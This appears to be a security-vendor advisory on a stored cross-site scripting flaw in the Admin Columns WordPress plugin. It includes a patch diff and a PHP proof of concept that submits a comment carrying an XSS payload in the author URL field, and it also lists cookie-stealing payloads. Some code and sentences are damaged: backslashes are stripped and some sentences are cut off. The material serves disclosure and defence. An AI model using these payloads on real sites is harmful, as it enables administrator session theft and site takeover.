Published : November 22, 2026

CVE-2026-120485: Admin Columns <= 7.1.8 Unauthenticated Stored Cross-Site Scripting via Comment Author URL PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.1.8
Patched Version 7.1.9
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120485:

Atomic Edge analysis identifies CVE-2026-120485 as a stored cross-site scripting vulnerability in the Admin Columns plugin for WordPress, affecting versions up to and including 7.1.8. The flaw resides in the handling of comment author URLs within the Comments screen column. An unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of any administrator viewing the comments list, leading to potential account takeover. The CVSS score of 7.2 reflects the high impact and the default configuration that makes exploitation trivial.

Root Cause: The vulnerability stems from the plugin’s failure to properly sanitize and escape the ‘url’ parameter of a comment before rendering it in an anchor tag. In `classes/Helper/Html.php`, the `link()` method accepted a label and only escaped it if it did not contain HTML tags (via `contains_html()`). When the label was the comment author URL, an attacker could supply a URL containing malicious HTML, such as `javascript:` or “ tags, which bypassed the naive check. The formatter `classes/Formatter/Comment/CommentLink.php` called `HelperHtml::create()->link($link, $value->get_value())`, passing the unescaped URL as both the link and the label. The `with_value()` method then stored this raw HTML. Later, the stored value is output without further escaping. The patch replaces the vulnerable `link()` usage with `link_html()`, which explicitly expects pre-escaped HTML. New calls to `link_html()` are introduced across numerous formatters, and the original `link()` method now always escapes the label, preventing HTML injection.

Exploitation: An attacker can submit a comment to any post on a vulnerable WordPress site without authentication. The comment’s author URL field is set to a payload such as `http://example.com/” onmouseover=”alert(1)` or `javascript:alert(document.cookie)`. When an administrator views the Comments screen in the WordPress admin dashboard, provided the Author URL column is enabled (a default configuration per the CVE description), the plugin renders the author URL as a clickable link. The malicious payload executes in the admin’s browser, allowing the attacker to steal session cookies, perform administrative actions, or install backdoors.

Patch Analysis: The patch introduces a new method `link_html()` in `classes/Helper/Html.php` that renders HTML labels as-is, while the original `link()` method now always escapes the label using `esc_html()`. All formatters that previously used `link()` with potentially unsafe labels now call `link_html()` with labels that are either pre-escaped or derived from trusted sources. Additionally, the `contains_html()` method was removed, as it provided a false sense of security. The `TimeElement` class was added to properly format date values with the `

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator. This can lead to full site compromise, including the creation of new admin accounts, installation of malicious plugins, theft of sensitive data, and defacement. Because the vulnerability is unauthenticated and requires only a default plugin configuration, it poses a significant risk to all sites running the affected versions. Atomic Edge research rates this as a high-severity issue warranting immediate patching.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/codepress-admin-columns/classes/Formatter/Collection/Separator.php
+++ b/codepress-admin-columns/classes/Formatter/Collection/Separator.php
@@ -109,8 +109,8 @@
             $toggler = $last_set
                 ? sprintf(
                     '<span class="ac-show-more__divider">|</span><a class="ac-show-more__toggle" data-show-more-toggle data-more="%1$s" data-less="%2$s">%1$s</a>',
-                    sprintf(__('%s more', 'codepress-admin-columns'), count($last_set)),
-                    strtolower(__('Hide', 'codepress-admin-columns'))
+                    esc_attr(sprintf(__('%s more', 'codepress-admin-columns'), count($last_set))),
+                    esc_attr(strtolower(__('Hide', 'codepress-admin-columns')))
                 )
                 : '';

--- a/codepress-admin-columns/classes/Formatter/Comment/CommentLink.php
+++ b/codepress-admin-columns/classes/Formatter/Comment/CommentLink.php
@@ -37,7 +37,7 @@
         }

         return $link
-            ? $value->with_value(HelperHtml::create()->link($link, $value->get_value()))
+            ? $value->with_value(HelperHtml::create()->link_html($link, (string)$value->get_value()))
             : $value;
     }

--- a/codepress-admin-columns/classes/Formatter/ContentTypeLink.php
+++ b/codepress-admin-columns/classes/Formatter/ContentTypeLink.php
@@ -47,7 +47,7 @@

     protected function create_link(string $url, string $value): string
     {
-        return HelperHtml::create()->link($url, $value);
+        return HelperHtml::create()->link_html($url, $value);
     }

     abstract protected function get_edit_link(Value $value): ?string;
--- a/codepress-admin-columns/classes/Formatter/Date/DateObject.php
+++ b/codepress-admin-columns/classes/Formatter/Date/DateObject.php
@@ -32,11 +32,21 @@
             throw ValueNotFoundException::from_id($value->get_id());
         }

+        // A format without a time is parsed with the current time filled in
+        if (! $this->has_time()) {
+            $date->setTime(0, 0);
+        }
+
         return $value->with_value(
             $date
         );
     }

+    private function has_time(): bool
+    {
+        return (bool)preg_match('/(?<!\\)[aABgGhHisuvU]/', $this->source_format);
+    }
+
     /**
      * Checks whether a DateTime parsing operation failed due to an invalid date
      * (for example: "0000-00-00 00:00:00").
--- a/codepress-admin-columns/classes/Formatter/Date/TimeElement.php
+++ b/codepress-admin-columns/classes/Formatter/Date/TimeElement.php
@@ -0,0 +1,59 @@
+<?php
+
+declare(strict_types=1);
+
+namespace ACFormatterDate;
+
+use ACExceptionValueNotFoundException;
+use ACFormatter;
+use ACTypeValue;
+use DateTime;
+
+final class TimeElement implements Formatter
+{
+    private Formatter $formatter;
+
+    private DateObject $date_object;
+
+    public function __construct(Formatter $formatter, string $source_format)
+    {
+        $this->formatter = $formatter;
+        $this->date_object = new DateObject($source_format);
+    }
+
+    public function format(Value $value): Value
+    {
+        $formatted = $this->formatter->format($value);
+
+        if ('' === (string)$formatted) {
+            return $formatted;
+        }
+
+        // A date formatter may read another input than the source format, its output still stands
+        try {
+            $date = $this->date_object->format($value)->get_value();
+        } catch (ValueNotFoundException $e) {
+            return $formatted;
+        }
+
+        return $formatted->with_value(
+            sprintf(
+                '<time datetime="%s">%s</time>',
+                esc_attr($this->get_datetime_attribute($date)),
+                (string)$formatted
+            )
+        );
+    }
+
+    private function get_datetime_attribute(DateTime $date): string
+    {
+        // Date fields reach this as midnight, often through a timestamp
+        if ('00:00:00' === $date->format('H:i:s')) {
+            return $date->format('Y-m-d');
+        }
+
+        // Stored dates are the site's clock time, the attribute needs its offset
+        return (new DateTime($date->format('Y-m-d H:i:s'), wp_timezone()))->format(DATE_ATOM);
+    }
+
+}
--- a/codepress-admin-columns/classes/Formatter/Linkable.php
+++ b/codepress-admin-columns/classes/Formatter/Linkable.php
@@ -28,30 +28,32 @@
         $url = $value->get_value();

         if (filter_var($url, FILTER_VALIDATE_URL) && preg_match('/[^w.-]/', $url)) {
-            $link_label = $this->get_formatted_label($url);
-
-            return $value->with_value(HelperHtml::create()->link($url, $link_label, ['target' => $this->target]));
+            return $value->with_value($this->create_link($url, $url));
         }

         if (filter_var($url, FILTER_VALIDATE_EMAIL)) {
-            $link_label = $this->get_formatted_label($url);
-            $mailto_link = 'mailto:' . $url;
-
-            return $value->with_value(HelperHtml::create()->link($mailto_link, $link_label, ['target' => $this->target]));
+            return $value->with_value($this->create_link('mailto:' . $url, $url));
         }

         return $value;
     }

-    private function get_formatted_label(string $url): string
+    private function create_link(string $href, string $url): string
     {
-        $link_label = $this->custom_label ?: $url;
+        $attributes = ['target' => $this->target];

-        if ($this->strip_protocol) {
-            $link_label = urldecode(str_replace(['http://', 'https://'], '', $link_label));
+        if ($this->custom_label) {
+            return HelperHtml::create()->link_html($href, $this->custom_label, $attributes);
         }

-        return $link_label;
+        return HelperHtml::create()->link($href, $this->get_url_label($url), $attributes);
+    }
+
+    private function get_url_label(string $url): string
+    {
+        return $this->strip_protocol
+            ? urldecode(str_replace(['http://', 'https://'], '', $url))
+            : $url;
     }

 }
--- a/codepress-admin-columns/classes/Formatter/Media/FileLinkToUrl.php
+++ b/codepress-admin-columns/classes/Formatter/Media/FileLinkToUrl.php
@@ -19,7 +19,7 @@
         }

         return $value->with_value(
-            HelperHtml::create()->link(
+            HelperHtml::create()->link_html(
                 $url,
                 (string)$value
             )
--- a/codepress-admin-columns/classes/Formatter/MenuLink.php
+++ b/codepress-admin-columns/classes/Formatter/MenuLink.php
@@ -13,9 +13,9 @@
     public function format(Value $value): Value
     {
         return $value->with_value(
-            HelperHtml::create()->link(
+            HelperHtml::create()->link_html(
                 add_query_arg(['menu' => $value->get_id()], admin_url('nav-menus.php')),
-                $value->get_value()
+                (string)$value->get_value()
             )
         );
     }
--- a/codepress-admin-columns/classes/Formatter/Post/CommentsForPostLink.php
+++ b/codepress-admin-columns/classes/Formatter/Post/CommentsForPostLink.php
@@ -26,7 +26,7 @@
             throw ValueNotFoundException::from_id($value->get_id());
         }

-        $link = HelperHtml::create()->link(
+        $link = HelperHtml::create()->link_html(
             add_query_arg(
                 [
                     'p'              => $value->get_id(),
--- a/codepress-admin-columns/classes/Formatter/Post/PostLink.php
+++ b/codepress-admin-columns/classes/Formatter/Post/PostLink.php
@@ -51,7 +51,7 @@
         }

         return $link
-            ? $value->with_value(HelperHtml::create()->link($link, (string)$value))
+            ? $value->with_value(HelperHtml::create()->link_html($link, (string)$value))
             : $value;
     }

--- a/codepress-admin-columns/classes/Formatter/Term/TermLink.php
+++ b/codepress-admin-columns/classes/Formatter/Term/TermLink.php
@@ -52,7 +52,7 @@
         }

         return $link && is_string($link)
-            ? $value->with_value(HelperHtml::create()->link($link, (string)$value))
+            ? $value->with_value(HelperHtml::create()->link_html($link, (string)$value))
             : $value;
     }

--- a/codepress-admin-columns/classes/Formatter/User/UserLink.php
+++ b/codepress-admin-columns/classes/Formatter/User/UserLink.php
@@ -69,7 +69,7 @@
         }

         return $link
-            ? $value->with_value(HelperHtml::create()->link($link, (string)$value))
+            ? $value->with_value(HelperHtml::create()->link_html($link, (string)$value))
             : $value;
     }

--- a/codepress-admin-columns/classes/Helper/Html.php
+++ b/codepress-admin-columns/classes/Helper/Html.php
@@ -29,20 +29,28 @@

     public function link(string $url, ?string $label = null, array $attributes = []): string
     {
-        if (! $url) {
-            return $label ?? '';
-        }
-
         if (null === $label) {
             $label = urldecode($url);
         }

-        if (! $label) {
+        return $this->link_html($url, esc_html($label), $attributes);
+    }
+
+    /**
+     * A label with HTML is rendered as is: only pass HTML that is already safe to output.
+     */
+    public function link_html(string $url, string $html, array $attributes = []): string
+    {
+        if (! $url) {
+            return $html;
+        }
+
+        if (! $html) {
             return '';
         }

-        if (! $this->contains_html($label)) {
-            $label = esc_html($label);
+        if ($html === strip_tags($html)) {
+            $html = esc_html($html);
         }

         $tooltip = null;
@@ -59,7 +67,7 @@

         $link = new Link(
             $url,
-            $label,
+            $html,
             $this->filter_attributes($attributes),
             $protocols
         );
@@ -147,11 +155,6 @@
         return $hrefs;
     }

-    private function contains_html(string $string): bool
-    {
-        return $string && $string !== strip_tags($string);
-    }
-
     public function divided(array $array): string
     {
         $array = Arrays::create()->filter($array);
--- a/codepress-admin-columns/classes/Sanitize/Kses.php
+++ b/codepress-admin-columns/classes/Sanitize/Kses.php
@@ -16,6 +16,9 @@
         $html = wp_kses_allowed_html('post');

         $html['a']['download'] = true;
+        $html['time'] = [
+            'datetime' => true,
+        ];
         $html['iframe'] = [
             'src'             => true,
             'height'          => true,
--- a/codepress-admin-columns/classes/Setting/ComponentFactory/DateFormat.php
+++ b/codepress-admin-columns/classes/Setting/ComponentFactory/DateFormat.php
@@ -110,10 +110,12 @@

     protected function add_formatters(Config $config, FormatterCollection $formatters): void
     {
+        $date_formatter = $this->get_date_formatter(
+            (string)$config->get('date_format') ?: $this->get_default_option()
+        );
+
         $formatters->add(
-            $this->get_date_formatter(
-                (string)$config->get('date_format') ?: $this->get_default_option()
-            )
+            new FormatterDateTimeElement($date_formatter, $this->source_format)
         );
     }

--- a/codepress-admin-columns/classes/Table/InlineStyle/ColumnSize.php
+++ b/codepress-admin-columns/classes/Table/InlineStyle/ColumnSize.php
@@ -39,7 +39,12 @@
             $list_width = $this->list_storage->get($column);
             $user_width = $this->user_storage->get($list_screen->get_id(), $column_id);

-            $html .= $this->render_base_style($table_id, $column_id, $list_width);
+            // Without a width there is nothing to size the column to. Printing the
+            // rule anyway would force auto !important and override core and
+            // third-party column widths.
+            if ($list_width || $user_width) {
+                $html .= $this->render_base_style($table_id, $column_id, $list_width);
+            }

             if ($user_width) {
                 $html .= $this->render_user_style($table_id, $column_id, $user_width);
--- a/codepress-admin-columns/codepress-admin-columns.php
+++ b/codepress-admin-columns/codepress-admin-columns.php
@@ -4,7 +4,7 @@

 /*
 Plugin Name: Admin Columns
-Version: 7.1.8
+Version: 7.1.9
 Description: Add, reorder, and customize columns in your WordPress admin table for any post type, users, and media - no code required.
 Author: AdminColumns.com
 Author URI: https://www.admincolumns.com
@@ -44,7 +44,7 @@
 }

 define('AC_FILE', __FILE__);
-define('AC_VERSION', '7.1.8');
+define('AC_VERSION', '7.1.9');

 require_once ABSPATH . 'wp-admin/includes/plugin.php';

--- a/codepress-admin-columns/vendor/composer/autoload_classmap.php
+++ b/codepress-admin-columns/vendor/composer/autoload_classmap.php
@@ -370,6 +370,7 @@
     'AC\Formatter\Date\DateObject' => $baseDir . '/classes/Formatter/Date/DateObject.php',
     'AC\Formatter\Date\LocalizedDateFormat' => $baseDir . '/classes/Formatter/Date/LocalizedDateFormat.php',
     'AC\Formatter\Date\TimeDifference' => $baseDir . '/classes/Formatter/Date/TimeDifference.php',
+    'AC\Formatter\Date\TimeElement' => $baseDir . '/classes/Formatter/Date/TimeElement.php',
     'AC\Formatter\Date\Timestamp' => $baseDir . '/classes/Formatter/Date/Timestamp.php',
     'AC\Formatter\DottedPassword' => $baseDir . '/classes/Formatter/DottedPassword.php',
     'AC\Formatter\EmptyValue' => $baseDir . '/classes/Formatter/EmptyValue.php',
--- a/codepress-admin-columns/vendor/composer/autoload_static.php
+++ b/codepress-admin-columns/vendor/composer/autoload_static.php
@@ -414,6 +414,7 @@
         'AC\Formatter\Date\DateObject' => __DIR__ . '/../..' . '/classes/Formatter/Date/DateObject.php',
         'AC\Formatter\Date\LocalizedDateFormat' => __DIR__ . '/../..' . '/classes/Formatter/Date/LocalizedDateFormat.php',
         'AC\Formatter\Date\TimeDifference' => __DIR__ . '/../..' . '/classes/Formatter/Date/TimeDifference.php',
+        'AC\Formatter\Date\TimeElement' => __DIR__ . '/../..' . '/classes/Formatter/Date/TimeElement.php',
         'AC\Formatter\Date\Timestamp' => __DIR__ . '/../..' . '/classes/Formatter/Date/Timestamp.php',
         'AC\Formatter\DottedPassword' => __DIR__ . '/../..' . '/classes/Formatter/DottedPassword.php',
         'AC\Formatter\EmptyValue' => __DIR__ . '/../..' . '/classes/Formatter/EmptyValue.php',
--- a/codepress-admin-columns/vendor/composer/installed.php
+++ b/codepress-admin-columns/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ACVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '388b9e63d1ea8f1487eafd50d454f5344b86afae', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '388b9e63d1ea8f1487eafd50d454f5344b86afae', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('pretty_version' => '6.4.0', 'version' => '6.4.0.0', 'reference' => 'ae0f1b3b03d8b29dff81747063cbfd6276246cc4', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/php-di', 'aliases' => array(), 'dev_requirement' => false), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '^1.0'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'cafedb661e3c791b7f4d50b84f8310f428da614f', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'cafedb661e3c791b7f4d50b84f8310f428da614f', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('pretty_version' => '6.4.0', 'version' => '6.4.0.0', 'reference' => 'ae0f1b3b03d8b29dff81747063cbfd6276246cc4', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/php-di', 'aliases' => array(), 'dev_requirement' => false), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '^1.0'))));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120485 - Admin Columns <= 7.1.8 - Unauthenticated Stored Cross-Site Scripting via Comment Author URL

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$post_id = 1; // ID of a post that accepts comments

// Payload: JavaScript that executes when an admin views the comments list
$payload = 'http://example.com/" onmouseover="alert(document.cookie)'; // Alternatively: javascript:alert(1)

// Step 1: Submit a comment with malicious author URL
$comment_data = [
    'comment_post_ID' => $post_id,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => $payload,
    'comment' => 'This is a benign comment.',
    'submit' => 'Post Comment'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Comment submission status: $http_coden";

// Step 2: Verify the comment was stored (optional, requires admin access)
// In a real attack, the admin would visit the Comments screen, and the payload executes.
// For demonstration, we simply note that the payload is stored.

echo "[+] Payload stored in comment author URL. When an admin views the Comments screen, the JavaScript will execute.n";

// Note: The actual execution occurs in the admin's browser. This PoC only submits the comment.
// To fully test, log in as admin and navigate to /wp-admin/edit-comments.php with the Author URL column enabled.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.